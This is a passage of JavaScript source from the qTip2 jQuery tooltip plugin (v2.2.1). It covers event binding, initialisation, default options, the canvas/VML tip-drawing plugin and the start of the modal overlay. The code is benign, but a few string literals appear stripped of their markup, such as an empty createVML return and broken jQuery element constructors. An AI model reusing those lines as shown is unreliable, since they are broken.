hideTargets.not(similarTargets); } } // Apply show/hide/toggle events this._bind(showTargets, showEvents, showMethod); this._bind(hideTargets, hideEvents, hideMethod); }; PROTOTYPE._assignInitialEvents = function(event) { var options = this.options, showTarget = options.show.target, hideTarget = options.hide.target, showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Catch remove/removeqtip events on target element to destroy redundant tooltips this._bind(this.elements.target, ['remove', 'removeqtip'], function(event) { this.destroy(true); }, 'destroy'); /* * Make sure hoverIntent functions properly by using mouseleave as a hide event if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ if(/mouse(over|enter)/i.test(options.show.event) && !/mouse(out|leave)/i.test(options.hide.event)) { hideEvents.push('mouseleave'); } /* * Also make sure initial mouse targetting works correctly by caching mousemove coords * on show targets before the tooltip has rendered. Also set onTarget when triggered to * keep mouse tracking working. */ this._bind(showTarget, 'mousemove', function(event) { this._storeMouse(event); this.cache.onTarget = TRUE; }); // Define hoverIntent function function hoverIntent(event) { // Only continue if tooltip isn't disabled if(this.disabled || this.destroyed) { return FALSE; } // Cache the event data this.cache.event = event && $.event.fix(event); this.cache.target = event && $(event.target); // Start the event sequence clearTimeout(this.timers.show); this.timers.show = delay.call(this, function() { this.render(typeof event === 'object' || options.show.ready); }, options.prerender ? 0 : options.show.delay ); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, hoverIntent, function() { if(!this.timers) { return FALSE; } clearTimeout(this.timers.show); }); // Prerendering is enabled, create tooltip now if(options.show.ready || options.prerender) { hoverIntent.call(this, event); } }; // Event assignment method PROTOTYPE._assignEvents = function() { var self = this, options = this.options, posOptions = options.position, tooltip = this.tooltip, showTarget = options.show.target, hideTarget = options.hide.target, containerTarget = posOptions.container, viewportTarget = posOptions.viewport, documentTarget = $(document), bodyTarget = $(document.body), windowTarget = $(window), showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Assign passed event callbacks $.each(options.events, function(name, callback) { self._bind(tooltip, name === 'toggle' ? ['tooltipshow','tooltiphide'] : ['tooltip'+name], callback, null, tooltip); }); // Hide tooltips when leaving current window/frame (but not select/option elements) if(/mouse(out|leave)/i.test(options.hide.event) && options.hide.leave === 'window') { this._bind(documentTarget, ['mouseout', 'blur'], function(event) { if(!/select|option/.test(event.target.nodeName) && !event.relatedTarget) { this.hide(event); } }); } // Enable hide.fixed by adding appropriate class if(options.hide.fixed) { hideTarget = hideTarget.add( tooltip.addClass(CLASS_FIXED) ); } /* * Make sure hoverIntent functions properly by using mouseleave to clear show timer if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ else if(/mouse(over|enter)/i.test(options.show.event)) { this._bind(hideTarget, 'mouseleave', function() { clearTimeout(this.timers.show); }); } // Hide tooltip on document mousedown if unfocus events are enabled if(('' + options.hide.event).indexOf('unfocus') > -1) { this._bind(containerTarget.closest('html'), ['mousedown', 'touchstart'], function(event) { var elem = $(event.target), enabled = this.rendered && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0, isAncestor = elem.parents(SELECTOR).filter(this.tooltip[0]).length > 0; if(elem[0] !== this.target[0] && elem[0] !== this.tooltip[0] && !isAncestor && !this.target.has(elem[0]).length && enabled ) { this.hide(event); } }); } // Check if the tooltip hides when inactive if('number' === typeof options.hide.inactive) { // Bind inactive method to show target(s) as a custom event this._bind(showTarget, 'qtip-'+this.id+'-inactive', inactiveMethod, 'inactive'); // Define events which reset the 'inactive' event handler this._bind(hideTarget.add(tooltip), QTIP.inactiveEvents, inactiveMethod); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod); // Mouse movement bindings this._bind(showTarget.add(tooltip), 'mousemove', function(event) { // Check if the tooltip hides when mouse is moved a certain distance if('number' === typeof options.hide.distance) { var origin = this.cache.origin || {}, limit = this.options.hide.distance, abs = Math.abs; // Check if the movement has gone beyond the limit, and hide it if so if(abs(event.pageX - origin.pageX) >= limit || abs(event.pageY - origin.pageY) >= limit) { this.hide(event); } } // Cache mousemove coords on show targets this._storeMouse(event); }); // Mouse positioning events if(posOptions.target === 'mouse') { // If mouse adjustment is on... if(posOptions.adjust.mouse) { // Apply a mouseleave event so we don't get problems with overlapping if(options.hide.event) { // Track if we're on the target or not this._bind(showTarget, ['mouseenter', 'mouseleave'], function(event) { if(!this.cache) {return FALSE; } this.cache.onTarget = event.type === 'mouseenter'; }); } // Update tooltip position on mousemove this._bind(documentTarget, 'mousemove', function(event) { // Update the tooltip position only if the tooltip is visible and adjustment is enabled if(this.rendered && this.cache.onTarget && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } }); } } // Adjust positions of the tooltip on window resize if enabled if(posOptions.adjust.resize || viewportTarget.length) { this._bind( $.event.special.resize ? viewportTarget : windowTarget, 'resize', repositionMethod ); } // Adjust tooltip position on scroll of the window or viewport element if present if(posOptions.adjust.scroll) { this._bind( windowTarget.add(posOptions.container), 'scroll', repositionMethod ); } }; // Un-assignment method PROTOTYPE._unassignEvents = function() { var options = this.options, showTargets = options.show.target, hideTargets = options.hide.target, targets = $.grep([ this.elements.target[0], this.rendered && this.tooltip[0], options.position.container[0], options.position.viewport[0], options.position.container.closest('html')[0], // unfocus window, document ], function(i) { return typeof i === 'object'; }); // Add show and hide targets if they're valid if(showTargets && showTargets.toArray) { targets = targets.concat(showTargets.toArray()); } if(hideTargets && hideTargets.toArray) { targets = targets.concat(hideTargets.toArray()); } // Unbind the events this._unbind(targets) ._unbind(targets, 'destroy') ._unbind(targets, 'inactive'); }; // Apply common event handlers using delegate (avoids excessive .bind calls!) $(function() { delegate(SELECTOR, ['mouseenter', 'mouseleave'], function(event) { var state = event.type === 'mouseenter', tooltip = $(event.currentTarget), target = $(event.relatedTarget || event.target), options = this.options; // On mouseenter... if(state) { // Focus the tooltip on mouseenter (z-index stacking) this.focus(event); // Clear hide timer on tooltip hover to prevent it from closing tooltip.hasClass(CLASS_FIXED) && !tooltip.hasClass(CLASS_DISABLED) && clearTimeout(this.timers.hide); } // On mouseleave... else { // When mouse tracking is enabled, hide when we leave the tooltip and not onto the show target (if a hide event is set) if(options.position.target === 'mouse' && options.position.adjust.mouse && options.hide.event && options.show.target && !target.closest(options.show.target[0]).length) { this.hide(event); } } // Add hover class tooltip.toggleClass(CLASS_HOVER, state); }); // Define events which reset the 'inactive' event handler delegate('['+ATTR_ID+']', INACTIVE_EVENTS, inactiveMethod); }); ;// Initialization method function init(elem, id, opts) { var obj, posOptions, attr, config, title, // Setup element references docBody = $(document.body), // Use document body instead of document element if needed newTarget = elem[0] === document ? docBody : elem, // Grab metadata from element if plugin is present metadata = (elem.metadata) ? elem.metadata(opts.metadata) : NULL, // If metadata type if HTML5, grab 'name' from the object instead, or use the regular data object otherwise metadata5 = opts.metadata.type === 'html5' && metadata ? metadata[opts.metadata.name] : NULL, // Grab data from metadata.name (or data-qtipopts as fallback) using .data() method, html5 = elem.data(opts.metadata.name || 'qtipopts'); // If we don't get an object returned attempt to parse it manualyl without parseJSON try { html5 = typeof html5 === 'string' ? $.parseJSON(html5) : html5; } catch(e) {} // Merge in and sanitize metadata config = $.extend(TRUE, {}, QTIP.defaults, opts, typeof html5 === 'object' ? sanitizeOptions(html5) : NULL, sanitizeOptions(metadata5 || metadata)); // Re-grab our positioning options now we've merged our metadata and set id to passed value posOptions = config.position; config.id = id; // Setup missing content if none is detected if('boolean' === typeof config.content.text) { attr = elem.attr(config.content.attr); // Grab from supplied attribute if available if(config.content.attr !== FALSE && attr) { config.content.text = attr; } // No valid content was found, abort render else { return FALSE; } } // Setup target options if(!posOptions.container.length) { posOptions.container = docBody; } if(posOptions.target === FALSE) { posOptions.target = newTarget; } if(config.show.target === FALSE) { config.show.target = newTarget; } if(config.show.solo === TRUE) { config.show.solo = posOptions.container.closest('body'); } if(config.hide.target === FALSE) { config.hide.target = newTarget; } if(config.position.viewport === TRUE) { config.position.viewport = posOptions.container; } // Ensure we only use a single container posOptions.container = posOptions.container.eq(0); // Convert position corner values into x and y strings posOptions.at = new CORNER(posOptions.at, TRUE); posOptions.my = new CORNER(posOptions.my); // Destroy previous tooltip if overwrite is enabled, or skip element if not if(elem.data(NAMESPACE)) { if(config.overwrite) { elem.qtip('destroy', true); } else if(config.overwrite === FALSE) { return FALSE; } } // Add has-qtip attribute elem.attr(ATTR_HAS, id); // Remove title attribute and store it if present if(config.suppress && (title = elem.attr('title'))) { // Final attr call fixes event delegatiom and IE default tooltip showing problem elem.removeAttr('title').attr(oldtitle, title).attr('title', ''); } // Initialize the tooltip and add API reference obj = new QTip(elem, config, id, !!attr); elem.data(NAMESPACE, obj); return obj; } // jQuery $.fn extension method QTIP = $.fn.qtip = function(options, notation, newValue) { var command = ('' + options).toLowerCase(), // Parse command returned = NULL, args = $.makeArray(arguments).slice(1), event = args[args.length - 1], opts = this[0] ? $.data(this[0], NAMESPACE) : NULL; // Check for API request if((!arguments.length && opts) || command === 'api') { return opts; } // Execute API command if present else if('string' === typeof options) { this.each(function() { var api = $.data(this, NAMESPACE); if(!api) { return TRUE; } // Cache the event if possible if(event && event.timeStamp) { api.cache.event = event; } // Check for specific API commands if(notation && (command === 'option' || command === 'options')) { if(newValue !== undefined || $.isPlainObject(notation)) { api.set(notation, newValue); } else { returned = api.get(notation); return FALSE; } } // Execute API command else if(api[command]) { api[command].apply(api, args); } }); return returned !== NULL ? returned : this; } // No API commands. validate provided options and setup qTips else if('object' === typeof options || !arguments.length) { // Sanitize options first opts = sanitizeOptions($.extend(TRUE, {}, options)); return this.each(function(i) { var api, id; // Find next available ID, or use custom ID if provided id = $.isArray(opts.id) ? opts.id[i] : opts.id; id = !id || id === FALSE || id.length < 1 || QTIP.api[id] ? QTIP.nextid++ : id; // Initialize the qTip and re-grab newly sanitized options api = init($(this), id, opts); if(api === FALSE) { return TRUE; } else { QTIP.api[id] = api; } // Initialize plugins $.each(PLUGINS, function() { if(this.initialize === 'initialize') { this(api); } }); // Assign initial pre-render events api._assignInitialEvents(event); }); } }; // Expose class $.qtip = QTip; // Populated in render method QTIP.api = {}; ;$.each({ /* Allow other plugins to successfully retrieve the title of an element with a qTip applied */ attr: function(attr, val) { if(this.length) { var self = this[0], title = 'title', api = $.data(self, 'qtip'); if(attr === title && api && 'object' === typeof api && api.options.suppress) { if(arguments.length < 2) { return $.attr(self, oldtitle); } // If qTip is rendered and title was originally used as content, update it if(api && api.options.content.attr === title && api.cache.attr) { api.set('content.text', val); } // Use the regular attr method to set, then cache the result return this.attr(oldtitle, val); } } return $.fn['attr'+replaceSuffix].apply(this, arguments); }, /* Allow clone to correctly retrieve cached title attributes */ clone: function(keepData) { var titles = $([]), title = 'title', // Clone our element using the real clone method elems = $.fn['clone'+replaceSuffix].apply(this, arguments); // Grab all elements with an oldtitle set, and change it to regular title attribute, if keepData is false if(!keepData) { elems.filter('['+oldtitle+']').attr('title', function() { return $.attr(this, oldtitle); }) .removeAttr(oldtitle); } return elems; } }, function(name, func) { if(!func || $.fn[name+replaceSuffix]) { return TRUE; } var old = $.fn[name+replaceSuffix] = $.fn[name]; $.fn[name] = function() { return func.apply(this, arguments) || old.apply(this, arguments); }; }); /* Fire off 'removeqtip' handler in $.cleanData if jQuery UI not present (it already does similar). * This snippet is taken directly from jQuery UI source code found here: * http://code.jquery.com/ui/jquery-ui-git.js */ if(!$.ui) { $['cleanData'+replaceSuffix] = $.cleanData; $.cleanData = function( elems ) { for(var i = 0, elem; (elem = $( elems[i] )).length; i++) { if(elem.attr(ATTR_HAS)) { try { elem.triggerHandler('removeqtip'); } catch( e ) {} } } $['cleanData'+replaceSuffix].apply(this, arguments); }; } ;// qTip version QTIP.version = '2.2.1'; // Base ID for all qTips QTIP.nextid = 0; // Inactive events array QTIP.inactiveEvents = INACTIVE_EVENTS; // Base z-index for all qTips QTIP.zindex = 15000; // Define configuration defaults QTIP.defaults = { prerender: FALSE, id: FALSE, overwrite: TRUE, suppress: TRUE, content: { text: TRUE, attr: 'title', title: FALSE, button: FALSE }, position: { my: 'top left', at: 'bottom right', target: FALSE, container: FALSE, viewport: FALSE, adjust: { x: 0, y: 0, mouse: TRUE, scroll: TRUE, resize: TRUE, method: 'flipinvert flipinvert' }, effect: function(api, pos, viewport) { $(this).animate(pos, { duration: 200, queue: FALSE }); } }, show: { target: FALSE, event: 'mouseenter', effect: TRUE, delay: 90, solo: FALSE, ready: FALSE, autofocus: FALSE }, hide: { target: FALSE, event: 'mouseleave', effect: TRUE, delay: 0, fixed: FALSE, inactive: FALSE, leave: 'window', distance: FALSE }, style: { classes: '', widget: FALSE, width: FALSE, height: FALSE, def: TRUE }, events: { render: NULL, move: NULL, show: NULL, hide: NULL, toggle: NULL, visible: NULL, hidden: NULL, focus: NULL, blur: NULL } }; ;var TIP, // .bind()/.on() namespace TIPNS = '.qtip-tip', // Common CSS strings MARGIN = 'margin', BORDER = 'border', COLOR = 'color', BG_COLOR = 'background-color', TRANSPARENT = 'transparent', IMPORTANT = ' !important', // Check if the browser supports elements HASCANVAS = !!document.createElement('canvas').getContext, // Invalid colour values used in parseColours() INVALID = /rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i; // Camel-case method, taken from jQuery source // http://code.jquery.com/jquery-1.8.0.js function camel(s) { return s.charAt(0).toUpperCase() + s.slice(1); } /* * Modified from Modernizr's testPropsAll() * http://modernizr.com/downloads/modernizr-latest.js */ var cssProps = {}, cssPrefixes = ["Webkit", "O", "Moz", "ms"]; function vendorCss(elem, prop) { var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1), props = (prop + ' ' + cssPrefixes.join(ucProp + ' ') + ucProp).split(' '), cur, val, i = 0; // If the property has already been mapped... if(cssProps[prop]) { return elem.css(cssProps[prop]); } while((cur = props[i++])) { if((val = elem.css(cur)) !== undefined) { return cssProps[prop] = cur, val; } } } // Parse a given elements CSS property into an int function intCss(elem, prop) { return Math.ceil(parseFloat(vendorCss(elem, prop))); } // VML creation (for IE only) if(!HASCANVAS) { var createVML = function(tag, props, style) { return ''; }; } // Canvas only definitions else { var PIXEL_RATIO = window.devicePixelRatio || 1, BACKING_STORE_RATIO = (function() { var context = document.createElement('canvas').getContext('2d'); return context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || 1; }()), SCALE = PIXEL_RATIO / BACKING_STORE_RATIO; } function Tip(qtip, options) { this._ns = 'tip'; this.options = options; this.offset = options.offset; this.size = [ options.width, options.height ]; // Initialize this.init( (this.qtip = qtip) ); } $.extend(Tip.prototype, { init: function(qtip) { var context, tip; // Create tip element and prepend to the tooltip tip = this.element = qtip.elements.tip = $('
    ', { 'class': NAMESPACE+'-tip' }).prependTo(qtip.tooltip); // Create tip drawing element(s) if(HASCANVAS) { // save() as soon as we create the canvas element so FF2 doesn't bork on our first restore()! context = $('').appendTo(this.element)[0].getContext('2d'); // Setup constant parameters context.lineJoin = 'miter'; context.miterLimit = 100000; context.save(); } else { context = createVML('shape', 'coordorigin="0,0"', 'position:absolute;'); this.element.html(context + context); // Prevent mousing down on the tip since it causes problems with .live() handling in IE due to VML qtip._bind( $('*', tip).add(tip), ['click', 'mousedown'], function(event) { event.stopPropagation(); }, this._ns); } // Bind update events qtip._bind(qtip.tooltip, 'tooltipmove', this.reposition, this._ns, this); // Create it this.create(); }, _swapDimensions: function() { this.size[0] = this.options.height; this.size[1] = this.options.width; }, _resetDimensions: function() { this.size[0] = this.options.width; this.size[1] = this.options.height; }, _useTitle: function(corner) { var titlebar = this.qtip.elements.titlebar; return titlebar && ( corner.y === TOP || (corner.y === CENTER && this.element.position().top + (this.size[1] / 2) + this.options.offset < titlebar.outerHeight(TRUE)) ); }, _parseCorner: function(corner) { var my = this.qtip.options.position.my; // Detect corner and mimic properties if(corner === FALSE || my === FALSE) { corner = FALSE; } else if(corner === TRUE) { corner = new CORNER( my.string() ); } else if(!corner.string) { corner = new CORNER(corner); corner.fixed = TRUE; } return corner; }, _parseWidth: function(corner, side, use) { var elements = this.qtip.elements, prop = BORDER + camel(side) + 'Width'; return (use ? intCss(use, prop) : ( intCss(elements.content, prop) || intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) )) || 0; }, _parseRadius: function(corner) { var elements = this.qtip.elements, prop = BORDER + camel(corner.y) + camel(corner.x) + 'Radius'; return BROWSER.ie < 9 ? 0 : intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) || 0; }, _invalidColour: function(elem, prop, compare) { var val = elem.css(prop); return !val || (compare && val === elem.css(compare)) || INVALID.test(val) ? FALSE : val; }, _parseColours: function(corner) { var elements = this.qtip.elements, tip = this.element.css('cssText', ''), borderSide = BORDER + camel(corner[ corner.precedance ]) + camel(COLOR), colorElem = this._useTitle(corner) && elements.titlebar || elements.content, css = this._invalidColour, color = []; // Attempt to detect the background colour from various elements, left-to-right precedance color[0] = css(tip, BG_COLOR) || css(colorElem, BG_COLOR) || css(elements.content, BG_COLOR) || css(elements.tooltip, BG_COLOR) || tip.css(BG_COLOR); // Attempt to detect the correct border side colour from various elements, left-to-right precedance color[1] = css(tip, borderSide, COLOR) || css(colorElem, borderSide, COLOR) || css(elements.content, borderSide, COLOR) || css(elements.tooltip, borderSide, COLOR) || elements.tooltip.css(borderSide); // Reset background and border colours $('*', tip).add(tip).css('cssText', BG_COLOR+':'+TRANSPARENT+IMPORTANT+';'+BORDER+':0'+IMPORTANT+';'); return color; }, _calculateSize: function(corner) { var y = corner.precedance === Y, width = this.options['width'], height = this.options['height'], isCenter = corner.abbrev() === 'c', base = (y ? width: height) * (isCenter ? 0.5 : 1), pow = Math.pow, round = Math.round, bigHyp, ratio, result, smallHyp = Math.sqrt( pow(base, 2) + pow(height, 2) ), hyp = [ (this.border / base) * smallHyp, (this.border / height) * smallHyp ]; hyp[2] = Math.sqrt( pow(hyp[0], 2) - pow(this.border, 2) ); hyp[3] = Math.sqrt( pow(hyp[1], 2) - pow(this.border, 2) ); bigHyp = smallHyp + hyp[2] + hyp[3] + (isCenter ? 0 : hyp[0]); ratio = bigHyp / smallHyp; result = [ round(ratio * width), round(ratio * height) ]; return y ? result : result.reverse(); }, // Tip coordinates calculator _calculateTip: function(corner, size, scale) { scale = scale || 1; size = size || this.size; var width = size[0] * scale, height = size[1] * scale, width2 = Math.ceil(width / 2), height2 = Math.ceil(height / 2), // Define tip coordinates in terms of height and width values tips = { br: [0,0, width,height, width,0], bl: [0,0, width,0, 0,height], tr: [0,height, width,0, width,height], tl: [0,0, 0,height, width,height], tc: [0,height, width2,0, width,height], bc: [0,0, width,0, width2,height], rc: [0,0, width,height2, 0,height], lc: [width,0, width,height, 0,height2] }; // Set common side shapes tips.lt = tips.br; tips.rt = tips.bl; tips.lb = tips.tr; tips.rb = tips.tl; return tips[ corner.abbrev() ]; }, // Tip coordinates drawer (canvas) _drawCoords: function(context, coords) { context.beginPath(); context.moveTo(coords[0], coords[1]); context.lineTo(coords[2], coords[3]); context.lineTo(coords[4], coords[5]); context.closePath(); }, create: function() { // Determine tip corner var c = this.corner = (HASCANVAS || BROWSER.ie) && this._parseCorner(this.options.corner); // If we have a tip corner... if( (this.enabled = !!this.corner && this.corner.abbrev() !== 'c') ) { // Cache it this.qtip.cache.corner = c.clone(); // Create it this.update(); } // Toggle tip element this.element.toggle(this.enabled); return this.corner; }, update: function(corner, position) { if(!this.enabled) { return this; } var elements = this.qtip.elements, tip = this.element, inner = tip.children(), options = this.options, curSize = this.size, mimic = options.mimic, round = Math.round, color, precedance, context, coords, bigCoords, translate, newSize, border, BACKING_STORE_RATIO; // Re-determine tip if not already set if(!corner) { corner = this.qtip.cache.corner || this.corner; } // Use corner property if we detect an invalid mimic value if(mimic === FALSE) { mimic = corner; } // Otherwise inherit mimic properties from the corner object as necessary else { mimic = new CORNER(mimic); mimic.precedance = corner.precedance; if(mimic.x === 'inherit') { mimic.x = corner.x; } else if(mimic.y === 'inherit') { mimic.y = corner.y; } else if(mimic.x === mimic.y) { mimic[ corner.precedance ] = corner[ corner.precedance ]; } } precedance = mimic.precedance; // Ensure the tip width.height are relative to the tip position if(corner.precedance === X) { this._swapDimensions(); } else { this._resetDimensions(); } // Update our colours color = this.color = this._parseColours(corner); // Detect border width, taking into account colours if(color[1] !== TRANSPARENT) { // Grab border width border = this.border = this._parseWidth(corner, corner[corner.precedance]); // If border width isn't zero, use border color as fill if it's not invalid (1.0 style tips) if(options.border && border < 1 && !INVALID.test(color[1])) { color[0] = color[1]; } // Set border width (use detected border width if options.border is true) this.border = border = options.border !== TRUE ? options.border : border; } // Border colour was invalid, set border to zero else { this.border = border = 0; } // Determine tip size newSize = this.size = this._calculateSize(corner); tip.css({ width: newSize[0], height: newSize[1], lineHeight: newSize[1]+'px' }); // Calculate tip translation if(corner.precedance === Y) { translate = [ round(mimic.x === LEFT ? border : mimic.x === RIGHT ? newSize[0] - curSize[0] - border : (newSize[0] - curSize[0]) / 2), round(mimic.y === TOP ? newSize[1] - curSize[1] : 0) ]; } else { translate = [ round(mimic.x === LEFT ? newSize[0] - curSize[0] : 0), round(mimic.y === TOP ? border : mimic.y === BOTTOM ? newSize[1] - curSize[1] - border : (newSize[1] - curSize[1]) / 2) ]; } // Canvas drawing implementation if(HASCANVAS) { // Grab canvas context and clear/save it context = inner[0].getContext('2d'); context.restore(); context.save(); context.clearRect(0,0,6000,6000); // Calculate coordinates coords = this._calculateTip(mimic, curSize, SCALE); bigCoords = this._calculateTip(mimic, this.size, SCALE); // Set the canvas size using calculated size inner.attr(WIDTH, newSize[0] * SCALE).attr(HEIGHT, newSize[1] * SCALE); inner.css(WIDTH, newSize[0]).css(HEIGHT, newSize[1]); // Draw the outer-stroke tip this._drawCoords(context, bigCoords); context.fillStyle = color[1]; context.fill(); // Draw the actual tip context.translate(translate[0] * SCALE, translate[1] * SCALE); this._drawCoords(context, coords); context.fillStyle = color[0]; context.fill(); } // VML (IE Proprietary implementation) else { // Calculate coordinates coords = this._calculateTip(mimic); // Setup coordinates string coords = 'm' + coords[0] + ',' + coords[1] + ' l' + coords[2] + ',' + coords[3] + ' ' + coords[4] + ',' + coords[5] + ' xe'; // Setup VML-specific offset for pixel-perfection translate[2] = border && /^(r|b)/i.test(corner.string()) ? BROWSER.ie === 8 ? 2 : 1 : 0; // Set initial CSS inner.css({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), antialias: ''+(mimic.string().indexOf(CENTER) > -1), left: translate[0] - (translate[2] * Number(precedance === X)), top: translate[1] - (translate[2] * Number(precedance === Y)), width: newSize[0] + border, height: newSize[1] + border }) .each(function(i) { var $this = $(this); // Set shape specific attributes $this[ $this.prop ? 'prop' : 'attr' ]({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), path: coords, fillcolor: color[0], filled: !!i, stroked: !i }) .toggle(!!(border || i)); // Check if border is enabled and add stroke element !i && $this.html( createVML( 'stroke', 'weight="'+(border*2)+'px" color="'+color[1]+'" miterlimit="1000" joinstyle="miter"' ) ); }); } // Opera bug #357 - Incorrect tip position // https://github.com/Craga89/qTip2/issues/367 window.opera && setTimeout(function() { elements.tip.css({ display: 'inline-block', visibility: 'visible' }); }, 1); // Position if needed if(position !== FALSE) { this.calculate(corner, newSize); } }, calculate: function(corner, size) { if(!this.enabled) { return FALSE; } var self = this, elements = this.qtip.elements, tip = this.element, userOffset = this.options.offset, isWidget = elements.tooltip.hasClass('ui-widget'), position = { }, precedance, corners; // Inherit corner if not provided corner = corner || this.corner; precedance = corner.precedance; // Determine which tip dimension to use for adjustment size = size || this._calculateSize(corner); // Setup corners and offset array corners = [ corner.x, corner.y ]; if(precedance === X) { corners.reverse(); } // Calculate tip position $.each(corners, function(i, side) { var b, bc, br; if(side === CENTER) { b = precedance === Y ? LEFT : TOP; position[ b ] = '50%'; position[MARGIN+'-' + b] = -Math.round(size[ precedance === Y ? 0 : 1 ] / 2) + userOffset; } else { b = self._parseWidth(corner, side, elements.tooltip); bc = self._parseWidth(corner, side, elements.content); br = self._parseRadius(corner); position[ side ] = Math.max(-self.border, i ? bc : (userOffset + (br > b ? br : -b))); } }); // Adjust for tip size position[ corner[precedance] ] -= size[ precedance === X ? 0 : 1 ]; // Set and return new position tip.css({ margin: '', top: '', bottom: '', left: '', right: '' }).css(position); return position; }, reposition: function(event, api, pos, viewport) { if(!this.enabled) { return; } var cache = api.cache, newCorner = this.corner.clone(), adjust = pos.adjusted, method = api.options.position.adjust.method.split(' '), horizontal = method[0], vertical = method[1] || method[0], shift = { left: FALSE, top: FALSE, x: 0, y: 0 }, offset, css = {}, props; function shiftflip(direction, precedance, popposite, side, opposite) { // Horizontal - Shift or flip method if(direction === SHIFT && newCorner.precedance === precedance && adjust[side] && newCorner[popposite] !== CENTER) { newCorner.precedance = newCorner.precedance === X ? Y : X; } else if(direction !== SHIFT && adjust[side]){ newCorner[precedance] = newCorner[precedance] === CENTER ? (adjust[side] > 0 ? side : opposite) : (newCorner[precedance] === side ? opposite : side); } } function shiftonly(xy, side, opposite) { if(newCorner[xy] === CENTER) { css[MARGIN+'-'+side] = shift[xy] = offset[MARGIN+'-'+side] - adjust[side]; } else { props = offset[opposite] !== undefined ? [ adjust[side], -offset[side] ] : [ -adjust[side], offset[side] ]; if( (shift[xy] = Math.max(props[0], props[1])) > props[0] ) { pos[side] -= adjust[side]; shift[side] = FALSE; } css[ offset[opposite] !== undefined ? opposite : side ] = shift[xy]; } } // If our tip position isn't fixed e.g. doesn't adjust with viewport... if(this.corner.fixed !== TRUE) { // Perform shift/flip adjustments shiftflip(horizontal, X, Y, LEFT, RIGHT); shiftflip(vertical, Y, X, TOP, BOTTOM); // Update and redraw the tip if needed (check cached details of last drawn tip) if(newCorner.string() !== cache.corner.string() || cache.cornerTop !== adjust.top || cache.cornerLeft !== adjust.left) { this.update(newCorner, FALSE); } } // Setup tip offset properties offset = this.calculate(newCorner); // Readjust offset object to make it left/top if(offset.right !== undefined) { offset.left = -offset.right; } if(offset.bottom !== undefined) { offset.top = -offset.bottom; } offset.user = this.offset; // Perform shift adjustments if(shift.left = (horizontal === SHIFT && !!adjust.left)) { shiftonly(X, LEFT, RIGHT); } if(shift.top = (vertical === SHIFT && !!adjust.top)) { shiftonly(Y, TOP, BOTTOM); } /* * If the tip is adjusted in both dimensions, or in a * direction that would cause it to be anywhere but the * outer border, hide it! */ this.element.css(css).toggle( !((shift.x && shift.y) || (newCorner.x === CENTER && shift.y) || (newCorner.y === CENTER && shift.x)) ); // Adjust position to accomodate tip dimensions pos.left -= offset.left.charAt ? offset.user : horizontal !== SHIFT || shift.top || !shift.left && !shift.top ? offset.left + this.border : 0; pos.top -= offset.top.charAt ? offset.user : vertical !== SHIFT || shift.left || !shift.left && !shift.top ? offset.top + this.border : 0; // Cache details cache.cornerLeft = adjust.left; cache.cornerTop = adjust.top; cache.corner = newCorner.clone(); }, destroy: function() { // Unbind events this.qtip._unbind(this.qtip.tooltip, this._ns); // Remove the tip element(s) if(this.qtip.elements.tip) { this.qtip.elements.tip.find('*') .remove().end().remove(); } } }); TIP = PLUGINS.tip = function(api) { return new Tip(api, api.options.style.tip); }; // Initialize tip on render TIP.initialize = 'render'; // Setup plugin sanitization options TIP.sanitize = function(options) { if(options.style && 'tip' in options.style) { var opts = options.style.tip; if(typeof opts !== 'object') { opts = options.style.tip = { corner: opts }; } if(!(/string|boolean/i).test(typeof opts.corner)) { opts.corner = TRUE; } } }; // Add new option checks for the plugin CHECKS.tip = { '^position.my|style.tip.(corner|mimic|border)$': function() { // Make sure a tip can be drawn this.create(); // Reposition the tooltip this.qtip.reposition(); }, '^style.tip.(height|width)$': function(obj) { // Re-set dimensions and redraw the tip this.size = [ obj.width, obj.height ]; this.update(); // Reposition the tooltip this.qtip.reposition(); }, '^content.title|style.(classes|widget)$': function() { this.update(); } }; // Extend original qTip defaults $.extend(TRUE, QTIP.defaults, { style: { tip: { corner: TRUE, mimic: FALSE, width: 6, height: 6, border: TRUE, offset: 0 } } }); ;var MODAL, OVERLAY, MODALCLASS = 'qtip-modal', MODALSELECTOR = '.'+MODALCLASS; OVERLAY = function() { var self = this, focusableElems = {}, current, onLast, prevState, elem; // Modified code from jQuery UI 1.10.0 source // http://code.jquery.com/ui/1.10.0/jquery-ui.js function focusable(element) { // Use the defined focusable checker when possible if($.expr[':'].focusable) { return $.expr[':'].focusable; } var isTabIndexNotNaN = !isNaN($.attr(element, 'tabindex')), nodeName = element.nodeName && element.nodeName.toLowerCase(), map, mapName, img; if('area' === nodeName) { map = element.parentNode; mapName = map.name; if(!element.href || !mapName || map.nodeName.toLowerCase() !== 'map') { return false; } img = $('img[usemap=#' + mapName + ']')[0]; return !!img && img.is(':visible'); } return (/input|select|textarea|button|object/.test( nodeName ) ? !element.disabled : 'a' === nodeName ? element.href || isTabIndexNotNaN : isTabIndexNotNaN ); } // Focus inputs using cached focusable elements (see update()) function focusInputs(blurElems) { // Blurring body element in IE causes window.open windows to unfocus! if(focusableElems.length < 1 && blurElems.length) { blurElems.not('body').blur(); } // Focus the inputs else { focusableElems.first().focus(); } } // Steal focus from elements outside tooltip function stealFocus(event) { if(!elem.is(':visible')) { return; } var target = $(event.target), tooltip = current.tooltip, container = target.closest(SELECTOR), targetOnTop; // Determine if input container target is above this targetOnTop = container.length < 1 ? FALSE : (parseInt(container[0].style.zIndex, 10) > parseInt(tooltip[0].style.zIndex, 10)); // If we're showing a modal, but focus has landed 